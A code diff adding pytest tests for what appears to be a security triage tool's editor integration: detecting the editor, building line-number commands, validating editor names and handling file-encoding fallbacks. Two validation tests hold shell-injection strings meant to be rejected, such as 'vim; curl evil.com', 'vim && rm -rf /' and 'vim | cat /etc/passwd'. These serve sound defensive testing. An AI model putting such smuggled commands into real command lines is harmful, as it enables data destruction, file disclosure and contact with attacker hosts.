+ config = detect_editor_config("/usr/local/bin/code")
40
+ assert config.syntax_type == "vscode"
41
+ assert config.name == "code"
42
+
43
+ def test_detect_sublime(self) -> None:
44
+ """Test detection of Sublime Text variants."""
45
+ for editor in ["subl", "sublime", "sublime_text"]:
46
+ config = detect_editor_config(editor)
47
+ assert config.syntax_type == "sublime"
48
+
49
+ def test_detect_atom(self) -> None:
50
+ """Test detection of Atom editor."""
51
+ config = detect_editor_config("atom")
52
+ assert config.syntax_type == "sublime" # Uses same syntax as Sublime
53
+
54
+ def test_detect_notepadpp(self) -> None:
55
+ """Test detection of Notepad++."""
56
+ for editor in ["notepad++", "notepad++.exe"]:
57
+ config = detect_editor_config(editor)
58
+ assert config.syntax_type == "notepadpp"
59
+
60
+ def test_detect_jetbrains(self) -> None:
61
+ """Test detection of JetBrains IDEs."""
62
+ for editor in ["idea", "pycharm", "webstorm", "phpstorm", "goland", "rider"]:
63
+ config = detect_editor_config(editor)
64
+ assert config.syntax_type == "jetbrains"
65
+
66
+ def test_unknown_editor_fallback(self) -> None:
67
+ """Test that unknown editors fall back to vim syntax."""
68
+ config = detect_editor_config("unknown-editor")
69
+ assert config.syntax_type == "vim"
70
+ assert config.name == "unknown"
71
+
72
+ def test_case_insensitive_detection(self) -> None:
73
+ """Test that editor detection is case-insensitive."""
74
+ config = detect_editor_config("CODE")
75
+ assert config.syntax_type == "vscode"
76
+
77
+ config = detect_editor_config("VIM")
78
+ assert config.syntax_type == "vim"
79
+
80
+
81
+ class TestEditorValidation:
82
+ """Tests for editor name validation (ASVS V5.1.3)."""
83
+
84
+ def test_validate_safe_names(self) -> None:
85
+ """Test that safe editor names are accepted."""
86
+ safe_names = [
87
+ "vim",
88
+ "code",
89
+ "nvim",
90
+ "/usr/bin/vim",
91
+ "/usr/local/bin/code",
92
+ "editor-name",
93
+ "editor.name",
94
+ "editor_name",
95
+ ]
96
+ for name in safe_names:
97
+ assert validate_editor_name(name), f"Should accept: {name}"
98
+
99
+ def test_validate_reject_shell_metacharacters(self) -> None:
100
+ """Test that editor names with shell metacharacters are rejected."""
101
+ unsafe_names = [
102
+ "vim; curl evil.com",
103
+ "vim && rm -rf /",
104
+ "vim | cat /etc/passwd",
105
+ "vim $(whoami)",
106
+ "vim `whoami`",
107
+ "vim & curl",
108
+ "vim > /tmp/evil",
109
+ "vim < /etc/passwd",
110
+ ]
111
+ for name in unsafe_names:
112
+ assert not validate_editor_name(name), f"Should reject: {name}"
113
+
114
+ def test_validate_reject_empty(self) -> None:
115
+ """Test that empty editor name is rejected."""
116
+ assert not validate_editor_name("")
117
+
118
+
119
+ class TestCommandBuilding:
120
+ """Tests for editor command building."""
121
+
122
+ def test_build_vim_command(self) -> None:
123
+ """Test building command for Vim-style editors."""
124
+ config = EditorConfig("vim", "vim")
125
+ cmd = build_editor_command("/usr/bin/vim", Path("/repo/file.py"), 42, config)
126
+
127
+ assert cmd == ["/usr/bin/vim", "+42", "/repo/file.py"]
128
+
129
+ def test_build_vscode_command(self) -> None:
130
+ """Test building command for VS Code."""
131
+ config = EditorConfig("code", "vscode")
132
+ cmd = build_editor_command("/usr/bin/code", Path("/repo/file.py"), 42, config)
133
+
134
+ assert cmd == ["/usr/bin/code", "-g", "/repo/file.py:42"]
135
+
136
+ def test_build_sublime_command(self) -> None:
137
+ """Test building command for Sublime Text."""
138
+ config = EditorConfig("subl", "sublime")
139
+ cmd = build_editor_command("/usr/bin/subl", Path("/repo/file.py"), 42, config)
140
+
141
+ assert cmd == ["/usr/bin/subl", "/repo/file.py:42"]
142
+
143
+ def test_build_notepadpp_command(self) -> None:
144
+ """Test building command for Notepad++."""
145
+ config = EditorConfig("notepad++", "notepadpp")
146
+ cmd = build_editor_command(
147
+ "C:\\Program Files\\Notepad++\\notepad++.exe", Path("C:\\repo\\file.py"), 42, config
148
+ )
149
+
150
+ assert cmd == ["C:\\Program Files\\Notepad++\\notepad++.exe", "-n42", "C:\\repo\\file.py"]
151
+
152
+ def test_build_jetbrains_command(self) -> None:
153
+ """Test building command for JetBrains IDEs."""
154
+ config = EditorConfig("pycharm", "jetbrains")
155
+ cmd = build_editor_command("/usr/bin/pycharm", Path("/repo/file.py"), 42, config)
156
+
157
+ assert cmd == ["/usr/bin/pycharm", "--line", "42", "/repo/file.py"]
158
+
159
+ def test_command_uses_list_args(self) -> None:
160
+ """Test that all commands use list args (not shell strings) per ASVS V14.2.1."""
161
+ editors = [
162
+ EditorConfig("vim", "vim"),
163
+ EditorConfig("code", "vscode"),
164
+ EditorConfig("subl", "sublime"),
165
+ EditorConfig("notepad++", "notepadpp"),
166
+ EditorConfig("idea", "jetbrains"),
167
+ ]
168
+
169
+ for editor in editors:
170
+ cmd = build_editor_command("/usr/bin/editor", Path("/file.py"), 10, editor)
171
+ assert isinstance(cmd, list), f"Command should be list for {editor.name}"
172
+ assert all(isinstance(arg, str) for arg in cmd), "All args should be strings"
@@ -271,3 +271,63 @@ class TestCodeContextExtractor:
271
271
  """Test _validate_path rejects paths outside repo."""
272
272
  outside_path = (tmp_path / "outside.py").resolve()
273
273
  assert extractor._validate_path(outside_path) is False
274
+
275
+ def test_extract_windows1252_file(
276
+ self, temp_repo: Path, extractor: CodeContextExtractor
277
+ ) -> None:
278
+ """Test extraction of Windows-1252 encoded file with smart quotes."""
279
+ # Create file with Windows-1252 encoding (smart quotes)
280
+ # \x93 and \x94 are left and right double quotes in Windows-1252
281
+ windows_file = temp_repo / "legacy.txt"
282
+ windows_file.write_bytes(b"Line 1\nSmart quote: \x93test\x94\nLine 3\n")
283
+
284
+ context = extractor.extract("legacy.txt", 2)
285
+
286
+ # Should succeed with replacement characters
287
+ assert context is not None
288
+ assert context.error is None
289
+ # Replacement character � (U+FFFD) should appear for invalid UTF-8 bytes
290
+ assert "�" in context.code or "test" in context.code
291
+
292
+ def test_extract_latin1_file(self, temp_repo: Path, extractor: CodeContextExtractor) -> None:
293
+ """Test extraction of Latin-1 encoded file."""
294
+ # Create file with Latin-1 encoding (accented characters)
295
+ latin1_file = temp_repo / "spanish.txt"
296
+ # é in Latin-1 is \xe9, ñ is \xf1
297
+ latin1_file.write_bytes(b"Line 1\ncaf\xe9 espa\xf1ol\nLine 3\n")
298
+
299
+ context = extractor.extract("spanish.txt", 2)
300
+
301
+ # Should succeed with replacement characters
302
+ assert context is not None
303
+ assert context.error is None
304
+ # Either shows replacement chars or the text (depending on encoding luck)
305
+ assert context.code
306
+
307
+ def test_extract_utf8_still_works(
308
+ self, temp_repo: Path, extractor: CodeContextExtractor
309
+ ) -> None:
310
+ """Test that UTF-8 files still work correctly after adding fallback."""
311
+ # Create proper UTF-8 file with emoji
312
+ utf8_file = temp_repo / "modern.py"
313
+ utf8_file.write_text("# Line 1\n# Test 🔥 emoji\n# Line 3\n", encoding="utf-8")
314
+
315
+ context = extractor.extract("modern.py", 2)
316
+
317
+ # Should succeed without fallback
318
+ assert context is not None
319
+ assert context.error is None
320
+ assert "🔥" in context.code or "emoji" in context.code
321
+
322
+ def test_extract_binary_still_skipped(
323
+ self, temp_repo: Path, extractor: CodeContextExtractor
324
+ ) -> None:
325
+ """Test that binary files are still skipped after adding encoding fallback."""
326
+ # Create binary file
327
+ binary_file = temp_repo / "binary.pyc"
328
+ binary_file.write_bytes(b"\x00\x00\x00\x00\xffbinary")
329
+
330
+ context = extractor.extract("binary.pyc", 1)
331
+
332
+ # Should be skipped (return None for binary)
333
+ assert context is None
@@ -87,6 +87,86 @@ class TestEditorIntegration:
87
87
  assert "+42" in call_args
88
88
  assert "src/app.py" in str(call_args[2])
89
89
 
90
+ def test_editor_vscode_syntax(self, sample_finding: FindingEntry, tmp_path: Path) -> None:
91
+ """Test VS Code uses correct -g file:line syntax."""
92
+ # Create the file
93
+ (tmp_path / "src").mkdir()
94
+ (tmp_path / "src" / "app.py").write_text("print('test')\n")
95
+
96
+ with patch.dict(os.environ, {"EDITOR": "code"}):
97
+ with patch("shutil.which", return_value="/usr/bin/code"):
98
+ with patch("subprocess.run") as mock_run:
99
+ with patch("kekkai.triage.screens.FindingDetailScreen.app") as mock_app:
100
+ mock_app.suspend.return_value.__enter__ = MagicMock()
101
+ mock_app.suspend.return_value.__exit__ = MagicMock(return_value=False)
102
+
103
+ screen = FindingDetailScreen(
104
+ finding=sample_finding,
105
+ repo_path=tmp_path,
106
+ )
107
+ screen.action_open_in_editor()
108
+
109
+ # Verify VS Code syntax: code -g file:line
110
+ assert mock_run.called
111
+ call_args = mock_run.call_args[0][0]
112
+ assert call_args[0] == "/usr/bin/code"
113
+ assert call_args[1] == "-g"
114
+ assert ":42" in call_args[2]
115
+ assert "src/app.py" in call_args[2]
116
+
117
+ def test_editor_sublime_syntax(self, sample_finding: FindingEntry, tmp_path: Path) -> None:
118
+ """Test Sublime Text uses correct file:line syntax."""
119
+ # Create the file
120
+ (tmp_path / "src").mkdir()
121
+ (tmp_path / "src" / "app.py").write_text("print('test')\n")
122
+
123
+ with patch.dict(os.environ, {"EDITOR": "subl"}):
124
+ with patch("shutil.which", return_value="/usr/bin/subl"):
125
+ with patch("subprocess.run") as mock_run:
126
+ with patch("kekkai.triage.screens.FindingDetailScreen.app") as mock_app:
127
+ mock_app.suspend.return_value.__enter__ = MagicMock()
128
+ mock_app.suspend.return_value.__exit__ = MagicMock(return_value=False)
129
+
130
+ screen = FindingDetailScreen(
131
+ finding=sample_finding,
132
+ repo_path=tmp_path,
133
+ )
134
+ screen.action_open_in_editor()
135
+
136
+ # Verify Sublime syntax: subl file:line
137
+ assert mock_run.called
138
+ call_args = mock_run.call_args[0][0]
139
+ assert call_args[0] == "/usr/bin/subl"
140
+ assert ":42" in call_args[1]
141
+ assert "src/app.py" in call_args[1]
142
+
143
+ def test_editor_unsafe_rejected(self, sample_finding: FindingEntry, tmp_path: Path) -> None:
144
+ """Test that unsafe EDITOR values are rejected (ASVS V5.1.3)."""
145
+ # Create the file
146
+ (tmp_path / "src").mkdir()
147
+ (tmp_path / "src" / "app.py").write_text("print('test')\n")
148
+
149
+ unsafe_editors = [
150
+ "vim; curl evil.com",
151
+ "vim && rm -rf /",
152
+ "vim | cat /etc/passwd",
153
+ ]
154
+
155
+ for unsafe_editor in unsafe_editors:
156
+ with patch.dict(os.environ, {"EDITOR": unsafe_editor}):
157
+ screen = FindingDetailScreen(
158
+ finding=sample_finding,
159
+ repo_path=tmp_path,
160
+ )
161
+
162
+ with patch.object(screen, "notify") as mock_notify:
163
+ screen.action_open_in_editor()
164
+
165
+ # Should call notify with error about unsafe characters
166
+ mock_notify.assert_called_once()
167
+ args = mock_notify.call_args[0]
168
+ assert "unsafe" in args[0].lower() or "invalid" in args[0].lower()
169
+
90
170
  def test_editor_handles_missing_file(
91
171
  self, sample_finding: FindingEntry, tmp_path: Path
92
172
  ) -> None: